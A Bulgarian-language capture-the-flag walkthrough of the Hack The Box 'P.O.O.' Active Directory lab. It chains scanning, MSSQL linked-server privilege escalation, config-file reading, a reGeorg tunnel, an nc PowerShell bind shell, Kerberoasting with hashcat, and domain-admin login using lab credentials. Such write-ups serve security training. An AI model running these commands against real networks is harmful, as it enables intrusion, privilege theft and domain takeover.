
В тази статия ще разгледаме преминаването не просто на машина, а на цяла мини-лаборатория от платформата .
Както е посочено в описанието, P.O.O. е предназначен за проверка на уменията на всички етапи от атаките в малка среда на Active Directory. Целта е да се компрометира наличния хост, да се повишат привилегиите и в крайна сметка да се компрометира целия домейн, като се съберат 5 флага.
Свързването с лабораторията става чрез VPN. Препоръчва се да не се свързвате от работния компютър или от хост, на който имате важни данни, тъй като попадаме в частна мрежа с хора, които имат опит в областта на ИБ 🙂
Организационна информация
За да можете да получавате информация за нови статии, софтуер и друга информация, създадох и в областта на ИиКБ. Също така вашите лични запитвания, въпроси, предложения и препоръки .
Цялата информация е предоставена изключително за образователни цели. Авторът на този документ не носи никаква отговорност за вреди, причинени на когото и да е в резултат на използването на знания и методи, получени от изучаването на този документ.
Въведение
Този Endgame се състои от две машини и съдържа 5 флага.

Също така се предоставя описание и адрес на наличния хост.

Нека започнем!
Recon флаг
Тази машина има IP адрес 10.13.38.11, който добавям в /etc/hosts.
10.13.38.11 poo.htb
Първото нещо, което трябва да направим, е да сканираме отворените портове. Тъй като сканирането на всички портове с nmap отнема много време, аз първо ще го направя с masscan. Сканираме всички TCP и UDP портове от интерфейса tun0 със скорост 500 пакета в секунда.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Сега, за да получим по-подробна информация за услугите, работещи на портовете, ще стартираме сканиране с опцията -A.
nmap -A poo.htb -p80,1433 
По този начин имаме услуги IIS и MSSQL. В същото време разбираме реалното DNS име на домейна и компютъра. На уеб сървъра ни очаква началната страница на IIS.

Нека да прегледаме директориите. Аз използвам gobuster за това. В параметрите указвам броя на потоковете 128 (-t), URL (-u), речника (-w) и разширенията, които ни интересуват (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Така получаваме HTTP автентикация за директорията /admin, както и достъпен файл за хранилище на работния плот .DS_Store. .DS_Store са файлове, в които се съхраняват потребителските настройки за папката, като списък с файлове, разположение на иконите, избрано фоново изображение. Този файл може да се появи в директорията на уеб сървъра при уеб разработчици. По този начин получаваме информация за съдържанието на каталога. За целта можем да използваме .
python3 dsstore_crawler.py -i http://poo.htb/ 
Получаваме съдържанието на каталога. Най-интересното тук е каталога /dev, от който можем да видим изходните кодове и файлове db в две клонове. Но можем да получим само първите 6 символа от имената на файловете и директориите, ако услугата е уязвима на IIS ShortName. Можем да проверим за наличие на тази уязвимост с помощта на .

И откриваме един текстов файл, който започва с "poo_co". Не знаейки какво да правя нататък, просто избрах от речника на директориите всички думи, които започват с "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtИ ги перебираме с помощта на wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
И намираме подходяща дума! Разглеждаме този файл, запазваме удостоверенията (съдия по параметъра DBNAME, те са от MSSQL).

Предаваме флага и напредваме с 20%.

Huh flag
Свързваме се с MSSQL, използвам DBeaver.

Нямаме нищо интересно в тази база, да създадем SQL редактор и да проверим какви потребители имаме.
SELECT name FROM master..syslogins; 
Имаме двама потребители. Нека проверим техните привилегии.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Така привилегии няма. Нека видим свързаните сървъри, за тази методика писах подробно. .
SELECT * FROM master..sysservers; 
Така намираме още един SQL Server. Нека проверим изпълнението на команди на този сървър с помощта на openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
И можем дори да изградим дърво на запитванията.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Става въпрос за това, че когато правим заявка към свързания сървър, заявката се изпълнява в контекста на друг потребител! Нека да видим в контекста на какъв потребител работим на свързания сървър.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Сега да видим в какъв контекст се изпълняват заявките от свързания сървър към нашия!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
По този начин, това е контекстът DBO, който трябва да има всички привилегии. Нека проверим привилегиите в случай на заявка от свързания сървър.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Както можем да забележим, имаме всички привилегии! Нека създадем наш собствен администратор. Но не ни пускат през openquery, така че нека го направим чрез EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";И сега се свързваме с данните на новия потребител, наблюдаваме новата база данни flag.

Задатъка флаг и продължаваме напред.

BackTrack flag
Ще получим шелл с помощта на MSSQL, използвам mssqlclient от пакета impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Трябва да се сдобием с пароли и първото, което вече открихме, е сайтът. Затова ни трябва конфигурацията на уеб сървъра (не може да пуснем удобен шелл, явно работи firewall).

Но достъпът е забранен. Въпреки това можем да прочетем файл от MSSQL, нужно е само да знаем какви програмни езици са конфигурирани. И в директорията MSSQL откриваме, че има Python.

Тогава четенето на файла web.config не е никакъв проблем.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
С намерените данни за вход влизаме на /admin и вземаме флага.


Foothold flag
Всъщност, от използването на firewall има някои неудобства, но преглеждайки настройките на мрежата, виждаме, че се използва и проксировка на IPv6!

Добавяме този адрес в /etc/hosts.
dead:babe::1001 poo6.htb
Нека отново сканираме хоста, но вече по протокол IPv6.

И по IPv6 е налична услугата WinRM. ще се свържем с намерените идентификационни данни.

На работния плот има флаг, предаваме го.

P00ned флаг
След проучване на хоста с помощта на не намираме нищо особено. Тогава бе взето решение отново да търсим идентификационни данни (по тази тема също написах ). Но не успях да получа всички SPN от системата чрез WinRM.
setspn.exe -T intranet.poo -Q ** 
Нека изпълним команда през MSSQL.

С посочения метод получаваме SPN на потребителите p00_hr и p00_adm, което означава, че те са уязвими на атака, наречена Kerberoasting. С две думи, можем да получим хешовете на техните пароли.
Първо трябва да получим стабилен шел от името на потребителя MSSQL. Но тъй като ни ограничават достъпа, имаме връзка с хоста само през порт 80 и 1433. Но има възможност за тунелиране на трафика през порт 80! За целта ще използваме . Нека качим файла tunnel.aspx в домашната директория на уеб сървъра — C:inetpubwwwroot.

Но при опит за достъп до него получаваме грешка 404. Това означава, че файловете *.aspx не се изпълняват. За да могат файловете с това разширение да се изпълняват, ще инсталираме ASP.NET 4.5 по следния начин.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
И сега при достъп до tunnel.aspx получаваме отговор, че всичко е готово за работа.
![]()
Нека стартираме клиентската част на приложението, която ще се занимава с ретранслирането на трафика. Ще пренасочваме целия трафик от порт 5432 към сървъра.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
И ще използваме proxychains, за да изпращаме трафика на всяко приложение през нашия прокси. Нека добавим този прокси в конфигурационния файл /etc/proxychains.conf.

Сега качваме на сървера програмата , с помощта на която ще направим стабилен bind шел, и скрипта , с който ще извършим атаката Kerberoasting.

Сега през MSSQL стартираме слушателя.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
И се свързваме през нашия прокси.
proxychains rlwrap nc poo.htb 4321 
И нека получим хешовете.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
След това трябва да пробваме тези хешове. Тъй като в речника rockyou нямаше данни за паролите, използвах ВСИЧКИ речници пароли, предоставени в Seclists. За пробиване използваме hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceНамираме и двете пароли, първият в речника dutch_passwordlist.txt, а вторият в Keyboard-Combinations.txt.


И така имаме трима потребители, отиваме на домейн контролера. Първо откриваме неговия адрес.

Чудесно, установихме IP адреса на домейн контролера. Нека разберем всички потребители на домейна, както и кой от тях е администратор. Ще изтеглим скрипт за получаване на информация PowerView.ps1. След това ще се свържем с помощта на evil-winrm, като посочим директорията на скрипта с параметъра -s. А след това просто ще качим скрипта PowerView.

Сега имаме достъп до всичките му функции. Потребителят p00_adm изглежда привилегирован, затова ще работим в неговия контекст. Ще създадем обект PSCredential за този потребител.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassСега всички команди PowerShell, в които укажем Creds, ще бъдат изпълнени от името на p00_adm. Нека изведем списък на потребителите и атрибута AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
И така, нашият потребител наистина е привилегирован. Нека видим в какви групи е.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Крайно потвърдено, че потребителят е администратор на домейна. Това му дава право на отдалечен достъп до домейн контролера. Нека опитаме да влезем през WinRM, използвайки нашия тунел. Странни бяха грешките, генерирани от reGeorg при използване на evil-winrm.

Тогава ще използваме друг, по-лесен, за свързване с WinRM. Ще отворим и променим параметрите за свързване.

Опитваме да се свържем и сме в системата.

Но флагът липсва. Нека проверим потребителя и работните им настолни компютри.

При mr3ks намираме флага и лабораторията е завършена на 100%.

Това е всичко. Като обратна връзка, коментирайте – научихте ли нещо ново от тази статия и беше ли ви полезна.
Можете да се присъедините към нас в . Там ще намерите интересни материали, течащи курсове, както и софтуер. Нека сформираме общество, в което ще има хора, разбиращи много области на ИТ, така ще можем да помагаме един на друг с всякакви въпроси свързани с ИТ и ИБ.
Източник: habr.com
